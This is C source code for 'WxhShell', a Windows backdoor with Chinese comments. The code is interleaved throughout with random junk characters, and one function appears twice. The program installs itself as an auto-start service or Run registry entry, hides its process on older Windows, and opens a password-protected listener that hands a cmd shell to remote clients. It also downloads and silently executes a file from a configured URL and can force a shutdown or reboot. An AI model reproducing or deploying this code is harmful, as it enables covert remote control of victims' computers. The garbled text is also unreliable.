*8ui g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Pc =ei NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FwlDP 8'L:D if (!NtQueryInformationProcess) return 0; |!9xL*A bS2g4]$'po hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {lH'T1^m if(!hProcess) return 0; ?O+. &6C]|13; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tq~4W% p/ {hJCn*m_ CloseHandle(hProcess); K!Fem6R }<X* :%#b hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?P-O4 if(hProcess==NULL) return 0; e"wzb< b <" nWGF4d HMODULE hMod; br
Iz8] char procName[255]; Q,JH/X
unsigned long cbNeeded; U3z23LgA YJMs9X~3 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l"A/6r!Dp &Z[+V)6,, CloseHandle(hProcess); #h^nvRmON 0 K#|11r if(strstr(procName,"services")) return 1; // 以服务启动 C3Q #[ ?gUraSFU return 0; // 注册表启动 (*P`
} ?4U4o<
B )[RIs // 主模块 T0")Ryu int StartWxhshell(LPSTR lpCmdLine) @wa"pWx8 { K=HLMDs SOCKET wsl; Jk-WD"J6 BOOL val=TRUE; 0RtZTCGO int port=0; )I3E struct sockaddr_in door; >;1w-n c5$DHT@N" if(wscfg.ws_autoins) Install(); (J %4}Dm ]
1pIIX} port=atoi(lpCmdLine); V\x'w*FP 2,q*8=?{6P if(port<=0) port=wscfg.ws_port; oA[`|
ji :0Jn`Ds4o WSADATA data;
gk 6R# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H390<` Be]z @E1x if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [n| }> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m jP door.sin_family = AF_INET; |Vqm1.1/Zv door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~EY)c~H door.sin_port = htons(port); 3'kKbrk [ 7Z`4Kdh . if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a'|]_`36x closesocket(wsl); [KYq01cj return 1;
8|{ZcW } 8tR6.09' J)B3o$ if(listen(wsl,2) == INVALID_SOCKET) { rhQ+ylt8I closesocket(wsl); gh*k\0 return 1; ]gVA6B?&9 } t2{(ETV Wxhshell(wsl); -e(<Jd_= WSACleanup(); -s2)!Iko& *Vq'%b9 return 0; ]S s63Vd g2TK(S|# } r3U7`P >^`# %$+ // 以NT服务方式启动 /nA>ox78 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F/lL1nTdK { CHv
n8tk DWORD status = 0; FT~c|ep. DWORD specificError = 0xfffffff; {$[0YRNk
u q`{@@[/(y serviceStatus.dwServiceType = SERVICE_WIN32; w9GY/] serviceStatus.dwCurrentState = SERVICE_START_PENDING; 75^*4[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gdb0e]Vt+ serviceStatus.dwWin32ExitCode = 0; 5)S;R, serviceStatus.dwServiceSpecificExitCode = 0; A\rY~$Vr serviceStatus.dwCheckPoint = 0; T_c`=3aO serviceStatus.dwWaitHint = 0; !p+rU?
N?{Zrff2"O hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9NVtvBA if (hServiceStatusHandle==0) return; [ _xOz4`% q1 q~%+Jy status = GetLastError(); #UymD-yII if (status!=NO_ERROR) Z"Hq{?l9 { hlV(jz serviceStatus.dwCurrentState = SERVICE_STOPPED; p+b9D serviceStatus.dwCheckPoint = 0; ~I>|f serviceStatus.dwWaitHint = 0; W`_Wi*z4 serviceStatus.dwWin32ExitCode = status; 3=ME$%f serviceStatus.dwServiceSpecificExitCode = specificError; rjcH[U( SetServiceStatus(hServiceStatusHandle, &serviceStatus); XS@iu,uO return; ?:60lCqj } 2BO H8Mp9 E#m^.B-} serviceStatus.dwCurrentState = SERVICE_RUNNING; YK8l#8K serviceStatus.dwCheckPoint = 0; gM1:*YK serviceStatus.dwWaitHint = 0; ~oSA&v4V if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e[T3,2C } teDRX13=;
b}7g> // 处理NT服务事件,比如:启动、停止 ~P,Z@|c4 VOID WINAPI NTServiceHandler(DWORD fdwControl) n~`jUML2d { oSMIWwg7G switch(fdwControl) F'{ T[MA { 2ALYfZ|d case SERVICE_CONTROL_STOP: d:&cq8^ serviceStatus.dwWin32ExitCode = 0; AX@bM serviceStatus.dwCurrentState = SERVICE_STOPPED; \ :@!rM serviceStatus.dwCheckPoint = 0; 0W6='7 serviceStatus.dwWaitHint = 0; 79)iv+nf\l { %`G}/" SetServiceStatus(hServiceStatusHandle, &serviceStatus); mL}Wan } >/C,1}p[ return;
2i6P<&@ case SERVICE_CONTROL_PAUSE: e
jk?If 07 serviceStatus.dwCurrentState = SERVICE_PAUSED; :LX!T& break; E]a,2{&8< case SERVICE_CONTROL_CONTINUE: l3MA&&++KF serviceStatus.dwCurrentState = SERVICE_RUNNING; 2g)q
( break; p,8:(|( case SERVICE_CONTROL_INTERROGATE: O>X!78]#K break; js)E:+{A, }; '2|mg<Ft SetServiceStatus(hServiceStatusHandle, &serviceStatus); u^ wGVg } 0\ j)!b cru&nH*O^ // 标准应用程序主函数 GF<SQHL, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w"Zws[pm] { z9AX8k(B6 E0r#xmk // 获取操作系统版本 :]\-GJV5 OsIsNt=GetOsVer(); ='eQh\T) GetModuleFileName(NULL,ExeFile,MAX_PATH); wjID*s[ 9WoTo ,q // 从命令行安装 J{uqbrJICr if(strpbrk(lpCmdLine,"iI")) Install(); "el3mloR8 %kBrxf // 下载执行文件 +@Kq if(wscfg.ws_downexe) { jw2hB[WR if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S|RUc}( WinExec(wscfg.ws_filenam,SW_HIDE); Jn0L_@ } Fok`-U LwQYO'X if(!OsIsNt) { `$;%%/tx // 如果时win9x,隐藏进程并且设置为注册表启动 MGKSaP;x HideProc(); g( eA? StartWxhshell(lpCmdLine); w~9Y=|YI7 } [9CBTSr else 4%jSqT@ if(StartFromService()) v>Kv!OY:c // 以服务方式启动 ir)~T0 StartServiceCtrlDispatcher(DispatchTable); Vc|QW else Mm"0Ip2" // 普通方式启动 +{e2TY StartWxhshell(lpCmdLine); b Oh[(O! jvE&%|Ngw return 0; ,}OQzK/"mP } ",E$}=
,Z P'5Q}7 $kQQdF 8`w#)6(V =========================================== l=&Va+K 1NlpOVq:) ^''3}<Ep 60p*4>^v zZCssn;[ ?O
e, " t+WUz#i" 5@Xy) z #include <stdio.h> [ 3SbWwg #include <string.h> #5IfF~*i #include <windows.h> i'Q 4touy #include <winsock2.h> 9;pD0h| #include <winsvc.h> \%;5$ovV #include <urlmon.h> _vE[TFy ~{yQsEU #pragma comment (lib, "Ws2_32.lib") "g;}B"rG #pragma comment (lib, "urlmon.lib") fJG!TQJ[Y Ria*+.k@"B #define MAX_USER 100 // 最大客户端连接数 ]:]w+N%7 #define BUF_SOCK 200 // sock buffer <m?/yREK2 #define KEY_BUFF 255 // 输入 buffer dy0xz5N- y"0!7^ #define REBOOT 0 // 重启 q&k?$rn #define SHUTDOWN 1 // 关机 V0$:t^^ -+|{#cz #define DEF_PORT 5000 // 监听端口 '%A*Z,f V)r6bb{^ #define REG_LEN 16 // 注册表键长度 %?:eURQ #define SVC_LEN 80 // NT服务名长度 |f&=9% &uTK@ G+ // 从dll定义API `OyYo^+D|. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rwz (20n\^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q(YQ$i"S typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }W R?n typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;=ERm= 3H/4$XJB // wxhshell配置信息 <Okl.Iz> struct WSCFG { ji|tc9#6 int ws_port; // 监听端口 v4x1=E char ws_passstr[REG_LEN]; // 口令 \>XkK<ye int ws_autoins; // 安装标记, 1=yes 0=no baM@HpMhM char ws_regname[REG_LEN]; // 注册表键名 /3v`2=b char ws_svcname[REG_LEN]; // 服务名 L[:b\O/p, char ws_svcdisp[SVC_LEN]; // 服务显示名 3/((7O[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 < G:G/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0j|JyS:}G int ws_downexe; // 下载执行标记, 1=yes 0=no @460r char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gl>_C@n0h char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !tofO|E5 .Cf`D tK }; nqyB,vv0 H#j Z'I // default Wxhshell configuration vwQ6= struct WSCFG wscfg={DEF_PORT, 7~Md6.FtM "xuhuanlingzhe", 4~/3MG 1, T]Eg9Y:+v "Wxhshell", Tj*Vk $}0 "Wxhshell", onAC;<w "WxhShell Service", o@0p "Wrsky Windows CmdShell Service", 4ky@rcD 1 "Please Input Your Password: ", kFHtZS( 1, "Dwaq*L "http://www.wrsky.com/wxhshell.exe", g>O
O '}lF "Wxhshell.exe" o}K!p%5_ }; S+(-k0 Od:,r // 消息定义模块 #\fxU:z~r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VZArdXTP char *msg_ws_prompt="\n\r? for help\n\r#>"; o=VDO,eS char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ${F]N } char *msg_ws_ext="\n\rExit."; 2oFHP_HVfu char *msg_ws_end="\n\rQuit."; As7Y4w* + char *msg_ws_boot="\n\rReboot..."; mN:p=.&
< char *msg_ws_poff="\n\rShutdown..."; RK`C31Ws char *msg_ws_down="\n\rSave to "; mxV0"$'Fm KoNJ;YiKtN char *msg_ws_err="\n\rErr!"; -NyfW+T={ char *msg_ws_ok="\n\rOK!"; *^&2L,w +8AGs, char ExeFile[MAX_PATH]; 9n${M:F int nUser = 0; sh %snLw HANDLE handles[MAX_USER]; kW@,P.88 int OsIsNt; \L:;~L/ -q.tU*xf' SERVICE_STATUS serviceStatus; )!&7X L[ SERVICE_STATUS_HANDLE hServiceStatusHandle; m:7$"oq| HsGyNkr?r // 函数声明 4>&%N\$* int Install(void); ^l4=/=RR int Uninstall(void); .:b|imgiv int DownloadFile(char *sURL, SOCKET wsh); -C|1O%. int Boot(int flag); >f$>Odqe void HideProc(void); yJ&`@gB int GetOsVer(void); p|z\L}0 int Wxhshell(SOCKET wsl); ^sp+ sr : void TalkWithClient(void *cs); M6P`~emX2 int CmdShell(SOCKET sock); SGREpOlJ+ int StartFromService(void); ?x(]U+ int StartWxhshell(LPSTR lpCmdLine); F#w=z/ &O5W VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lklMdsIdj VOID WINAPI NTServiceHandler( DWORD fdwControl ); M8BN'%S Ok=RhoZZ // 数据结构和表定义 CN$wlhs SERVICE_TABLE_ENTRY DispatchTable[] = ljij/ C= { DhwFD8tT {wscfg.ws_svcname, NTServiceMain}, U]Vu8$W {NULL, NULL} [BpIzhy&} }; L+&eY?A OXs-gC{b // 自我安装 c.u$NnDU6 int Install(void) wYrb P11 { m|)Mc VV char svExeFile[MAX_PATH]; C[ ehw HKEY key; I'h6!N" strcpy(svExeFile,ExeFile); 0P<bS?e<l '@ym-\, // 如果是win9x系统,修改注册表设为自启动 w7?&eF(w( if(!OsIsNt) { &ESE?{of) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SG{> t*E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;L5'3+U RegCloseKey(key); n'yC- ; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v^ a.
b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gm63dE> RegCloseKey(key); Q}a 1P8?S return 0; tf?u ;n } \)=X=yn2 } yk4Huq&2 } J3oj}M* else { ^;b$`*M1 YI=03}I // 如果是NT以上系统,安装为系统服务 <(YmkOS+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xbFoXYqgP if (schSCManager!=0) ZLBv\VQ { )2|'` SC_HANDLE schService = CreateService =#AeOqs( q ( cvR|qHNX schSCManager, P| o_/BS wscfg.ws_svcname, ik@g; >pQD wscfg.ws_svcdisp, MVW2%6 SERVICE_ALL_ACCESS, <|_/i/H SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dsKEWZ
= SERVICE_AUTO_START, 3McBTa! SERVICE_ERROR_NORMAL, \>8"r,hG| svExeFile, +1Ha,Ok NULL, li4rK<O NULL, Ng?n}$g* NULL, EROf%oaz= NULL, T [
`t?, NULL Q7X6OFl? ); ?8g[0/ if (schService!=0) T#.5F7$u { }xx[=t=nUf CloseServiceHandle(schService); ;F@N2j#
CloseServiceHandle(schSCManager); Ixhe86-:T strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NrE&w H: strcat(svExeFile,wscfg.ws_svcname); t>J 43 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ANNfL9:Jy RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OAu?F}O RegCloseKey(key); }LDH/#
u return 0; [-X=lJ:+h } }JXAG/<
} N5$L),?\y CloseServiceHandle(schSCManager); ?u/Uov@rD } fKzOt<wm } G 2]/g _ECWS fZ return 1; }yup`R } ? *I2?
z116i?7EnV // 自我卸载 d`D<PT(\ int Uninstall(void) )GDP?Nc<Ik { lE~5 b HKEY key; b[<zT[.: DGl_SMJb if(!OsIsNt) { TSHsEcfO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e&G!5kz! RegDeleteValue(key,wscfg.ws_regname); )~1QOl
"~ RegCloseKey(key); &>UI { if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y/1KvF4)k RegDeleteValue(key,wscfg.ws_regname); sW[8f
Z71 RegCloseKey(key); \IL/?J
5d return 0; a"^0;a } */iD68r|- } 1$Rua } @!0@f'}e else { fcd\{1#u eRkvNI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -~O7.E(ok if (schSCManager!=0) o}&TFhT { gTE/g'3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kB-%T66\ if (schService!=0) +H5=zf2 { gWm
-}Nb4 if(DeleteService(schService)!=0) { i1]*5;q CloseServiceHandle(schService); V @A+d[ CloseServiceHandle(schSCManager); \2(Uqf#_ return 0; `9a %vN } Fp>iwdjFg CloseServiceHandle(schService); h}&WBN } T8&
kxp CloseServiceHandle(schSCManager); $Hcp.J[O } 8W$uw~|dw } tMxa:h;/x vT)(#0>z return 1; R=g~od[N_ } 7iCH$} ~Zbr7zVn // 从指定url下载文件 J0BA@jH5 int DownloadFile(char *sURL, SOCKET wsh) [5
Mt,skC: { j(4BMk HRESULT hr; "
N)dle, char seps[]= "/"; *oAv:8"iY char *token; :_;9&[H9ha char *file; SoZ$1$o2 char myURL[MAX_PATH]; Mg?^ 5`* char myFILE[MAX_PATH]; cn&\q.!fh $]IX11.m strcpy(myURL,sURL); m\>531& token=strtok(myURL,seps); U)~?/s{v while(token!=NULL) zPWX%1Qr { C$o#zu q- file=token; T#'+w@Q9{9 token=strtok(NULL,seps); \I J\ } u_[^gS7 /QDlm>FM4 GetCurrentDirectory(MAX_PATH,myFILE); 5$o]D strcat(myFILE, "\\"); s@^(1g[w` strcat(myFILE, file); f/t1@d! send(wsh,myFILE,strlen(myFILE),0); 2P9gS[Ub send(wsh,"...",3,0); &WN#HI."] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lhsd39NM if(hr==S_OK) iM;7V*u return 0; =Nn&$h l else t(69gF\" return 1; <Cc}MDM604 @vWf-\ } nQ4 s @!z9.o; // 系统电源模块 VT1Nd int Boot(int flag) J(+I` { <fq?{z HANDLE hToken; MW|Qop[ TOKEN_PRIVILEGES tkp; NZ:A?h2JR xQV5-VoFC if(OsIsNt) { 40cgsRa| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t]?u<KD< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +JoE[; tkp.PrivilegeCount = 1; ZS51QB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P$z8TDCH AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6'6"Ogu%' if(flag==REBOOT) { 5~Vra@iab: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `p`)D6 return 0; ~e,k71 } d&K2\n else { )SG+9!AbMZ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @T53%v<5 return 0; ~Xi_bTAyAW } K)5'Jp@ } 4naL2 Y! else { _,V
9^ if(flag==REBOOT) { B WdR~|2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z(]14250 return 0; X2b<_j3 } A<ca9g3 else { 6.? Ke8iC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q]F2bo return 0; T1TKwU8l } b X.S` } a f[<[2pma QI*Y7R~< return 1; v;.7-9c* } kL;sA'I:S \sB
a // win9x进程隐藏模块 *:r@-=M3= void HideProc(void) ,4$ZB(\ {
9?c0cwP? tRU+6D
<w HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _[|~(lDJl if ( hKernel != NULL ) -V@vY42 { uM"G)$I\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s5? 1w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iB#xUSkS FreeLibrary(hKernel); dL%?k@R } R$(FrbC ceN*wkGyB return; emp*j@9 } a4HUP* H^ _[IkuA% // 获取操作系统版本 4QbD DvRQ^ int GetOsVer(void) ^Glmg}>q { ?f!w:zp OSVERSIONINFO winfo; 4B>N[#-0= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8>" vAEf GetVersionEx(&winfo); X`kTbIZ| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3|4jS"t{f return 1; ta`}}I else *Dx&} " return 0; b#;%TbDF } ` #Qlr+X !#0Lo->OO // 客户端句柄模块 d?dZ=]~C int Wxhshell(SOCKET wsl) UH=pQm^W { M0[7>N_ SOCKET wsh; |sd0fTK struct sockaddr_in client; 94bmKV_ DWORD myID; N"d
M+ QkbXm[K.Z while(nUser<MAX_USER) uan%j]|q% { r}k2n s9 int nSize=sizeof(client); &,B\ig1Jf wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -#Xo^-& if(wsh==INVALID_SOCKET) return 1; '0QrM,B9 9?"]dEM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "
`rkp= if(handles[nUser]==0) +3]1AJa closesocket(wsh); H_gY)m else MVdX nUser++; D:`b61sWi_ } (]*
Ro 8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?&ie;t<7 l{tpFu9v return 0; *x[ZN\$`Y } Jq0aDf
f H4C ]%Q // 关闭 socket +]I7]
void CloseIt(SOCKET wsh) ;&mefaFlWp { _*\:UBZx6 closesocket(wsh); d:08@~# nUser--; Zpfsh2` ExitThread(0); b1An2e[ } 'qR)f\em c*o05pMS // 客户端请求句柄 1?:/8l%V void TalkWithClient(void *cs) %j3XoRex>< { Ox.6]W~ z ((Y \vP SOCKET wsh=(SOCKET)cs; ;S
Re` char pwd[SVC_LEN]; (+SfDL$m char cmd[KEY_BUFF]; :x"Q[079 char chr[1]; bCWSh~ int i,j; -'SpSy'_ OV<'v%_& while (nUser < MAX_USER) { Q<4Sd:P`" ^0oOiZs if(wscfg.ws_passstr) { %K0
H?^. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F@ Sw //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FbH
1yz //ZeroMemory(pwd,KEY_BUFF); }HdibCAOf i=0; } a#RX$d& while(i<SVC_LEN) { "u#,#z_ p0c*)_a* // 设置超时 )fPN6x/e fd_set FdRead; /2 V struct timeval TimeOut; y5>X0tT FD_ZERO(&FdRead); {O24:'K& FD_SET(wsh,&FdRead); nPlg5&E TimeOut.tv_sec=8; 05o +VF;z TimeOut.tv_usec=0; ^FO&GM2a int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Er@'X0n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b;kgP`%% ?@n,
9! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =3K}]3f pwd=chr[0]; ScN'|Ia.- if(chr[0]==0xd || chr[0]==0xa) { &lnr?y^ pwd=0; ck0K^o v break; FU]jI[ } p./9^S
i++; ngmHiI W } ,3+ #?H UNK}!>HD // 如果是非法用户,关闭 socket _.)6~ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2c)Ez? } {=3&_/9s){ ~w
Ekbq= send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r}?uZ"]=? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PBkTI2 v i
n$~(+ while(1) { b!lS=zIN zDakl*
ZeroMemory(cmd,KEY_BUFF); 6*W7I-A 5~,usA* // 自动支持客户端 telnet标准 utSW> j=0; =}F}XSvXH while(j<KEY_BUFF) { d8N{sT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TwdY6E3` cmd[j]=chr[0]; Hl"^E*9x if(chr[0]==0xa || chr[0]==0xd) { )4O>V?B cmd[j]=0; W}6OMAbsE; break; (^!$m7 } E\/J& . j++; OSu/!Iv\ } B183h ;T-`~ // 下载文件 A,PF#G( if(strstr(cmd,"http://")) { TUy
25E send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4,g[g#g<q if(DownloadFile(cmd,wsh)) ~<.%sVwE send(wsh,msg_ws_err,strlen(msg_ws_err),0); J?R\qEq% else lE=&hba send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NuEcTww } `f)X!S2l else { (&o|}"kRq w ]%EJ|' switch(cmd[0]) { [8 I*lsS WALK@0E // 帮助 '&LH9r case '?': { }5b,u6 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KA/~q"N break; (C9{|T+h } :|&S7&l] // 安装 ~pt#'65}: case 'i': { "=Xky,k if(Install()) '.gLqm}% send(wsh,msg_ws_err,strlen(msg_ws_err),0); mb GL)NI else yg WwUpY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FlyRcj break; zk m#w } 16-1&WuY@ // 卸载 !n^7&Y[N; case 'r': { z(dDX%k@ if(Uninstall()) Nu,t,&B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); APUpqY else &iTTal.6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MhDPf]`
Gg break; J]ri|a } $z,rN\[ // 显示 wxhshell 所在路径 49!(Sa_]j case 'p': { i|!D char svExeFile[MAX_PATH]; ?{]"UnyVE* strcpy(svExeFile,"\n\r"); q,>-4Cm strcat(svExeFile,ExeFile); @v~<E?Un send(wsh,svExeFile,strlen(svExeFile),0); w,zm$s ^ break; pY$DOr-r` } 2J &J // 重启 9i`MUE1Sh case 'b': { !*!i&0QC~R send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6^QSV@N| if(Boot(REBOOT)) M<K}H8? send(wsh,msg_ws_err,strlen(msg_ws_err),0); :G4)edwe else { "ivSpec.V closesocket(wsh); ]N^>>k ExitThread(0); 0f;`Zj0l8 } 1 ~s$< break; =`+c}i? } p?,T%G+gqO // 关机 N"Cd{3 case 'd': { WqRaD=R->; send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5E!Wp[^ if(Boot(SHUTDOWN)) ?WBA:?=$58 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9jJ:T$} else { K)P].htw closesocket(wsh); F7&Oc)f"B ExitThread(0); W61nJ7@ } zwgO|Qg; break; -(VX+XHW } ]L;X Aj? // 获取shell #XeEpdE case 's': { F* _ytL CmdShell(wsh); >jRH<|Az closesocket(wsh); f^[u70c82 ExitThread(0); |bX{MF break; F3=iyiz6 } ? oQ_qleuo // 退出 Y;1J`oT case 'x': { nV_[40KP_ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^$;5ZkQy CloseIt(wsh); !=p^@N7 break; .B_a3K4'{^ } YPmgR]=6 // 离开 (i@B+c case 'q': { ?UBhM,;XK send(wsh,msg_ws_end,strlen(msg_ws_end),0); &d 6 closesocket(wsh); +"3K)9H WSACleanup(); %Hpz^<` exit(1); W~?mr!` break; K{__rO } +8 }p-<a } (;2]`D [x } +`+r\*C5 87OX:6 // 提示信息 2X`5YN; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uq=!>C8 } 8?[#\KgH1 } 6B&ERdoX G0Wv=tX| return; sSsRn*LN-: } HyJ&;4rf 9D H}6fO // shell模块句柄 Qg5-I$0 int CmdShell(SOCKET sock) x`Ik747^v { (T8dh| STARTUPINFO si; dL|*#e ZeroMemory(&si,sizeof(si)); f1RX`rXf si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JAS!eF si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;2Za]%' PROCESS_INFORMATION ProcessInfo; *v0}S5^/" char cmdline[]="cmd"; 89l{h8R CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T]y^PT<8? return 0; l^4! } >-4kO7.V F:cenIaBF // 自身启动模式 (6~~e$j int StartFromService(void) $|H7fn(r { L<O"36R typedef struct V38v2LI { k%h%mz DWORD ExitStatus; w<G'gi] DWORD PebBaseAddress; B$&&'i% DWORD AffinityMask; M|\C@,F]8 DWORD BasePriority; |s{[<; ULONG UniqueProcessId; =(]||1. ULONG InheritedFromUniqueProcessId; %z5P%F'5 } PROCESS_BASIC_INFORMATION; PXDwTuyc +Hf Zs"x PROCNTQSIP NtQueryInformationProcess; 2R`/Oox @>Ul0&Mf? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zH1:kko static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q2RO&dL
9 vw/X HANDLE hProcess; x[1(cj PROCESS_BASIC_INFORMATION pbi; BZs?tbf \"AzT{l!; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zR6^rq* if(NULL == hInst ) return 0; %#-'|~ 6),VN>j g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "&N1$$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "|%'/p NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `'}c-
Q +,A7XBn if (!NtQueryInformationProcess) return 0; <|c[
#f
r^$WX@ t& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $ZfoJR]% if(!hProcess) return 0; RMO6k bfP %N0cp@Vz if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0Lki( F<|x_6a\ CloseHandle(hProcess); B4ky%gF4 8jm\/?k| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M,/{ 53 if(hProcess==NULL) return 0; q? 2kD"%$ @Yy']!Ju HMODULE hMod; H/BU2s a char procName[255]; b8TwV_&|X unsigned long cbNeeded; 5$Aiez~tBq r-IG.ym3 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z\r|5Z *u?N{LkqS CloseHandle(hProcess); [I4&E > c&u~M=EW if(strstr(procName,"services")) return 1; // 以服务启动 )R]gJ_,c 